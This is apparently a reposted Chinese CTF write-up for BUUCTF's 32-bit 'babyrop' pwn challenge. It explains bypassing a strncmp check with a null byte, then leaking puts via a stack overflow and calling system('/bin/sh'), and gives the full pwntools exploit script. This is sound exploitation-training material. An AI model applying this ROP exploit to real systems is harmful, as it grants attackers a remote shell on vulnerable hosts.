BUUCTF-pwn babyrop


簡單的32位rop

 

 讀取隨機數並傳入。sub_804871F的返回值作為sub_80487D0的參數

第二個read就是溢出點

 

 

 strncmp對我們輸入的內容和隨機數進行了的比較,通過\x00終止strlen函數來繞過后面的strncmp。

之后就可以進行正常的rop

 

計算覆蓋v5的偏移0x2c-0x25=0x7

 

 

通過泄露地址尋找libc ,得到system和/bin/sh

exp:

from pwn import *
from LibcSearcher import *
a=remote("node3.buuoj.cn",25389)
elf=ELF("babyrop")
#libc=ELF("libc-2.23.so")
write_plt=elf.plt['write']
puts_got=elf.got['puts']
start=0x080485A0
main=0x08048825

#leak_address
payload="\x00"+"\xff"*(0x2c-0x25)
a.sendline(payload)
a.recvuntil("Correct\n")
payload2='a'*0xE7+'a'*4+p32(write_plt)+p32(start)+p32(1)+p32(puts_got)+p32(4)
a.send(payload2)
puts_got=u32(a.recv(4))

#find base
libc=LibcSearcher('puts',puts_got)
base=puts_got-libc.dump('puts')
system=base+libc.dump('system')
binsh=base+libc.dump('str_bin_sh')

payload="\x00"+"\xff"*(0x2c-0x25)


a.sendline(payload)
a.recvuntil("Correct\n")
payload2='a'*0xE7+'a'*4+p32(system)+p32(0)+p32(binsh)
a.sendline(payload2)
a.interactive()

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM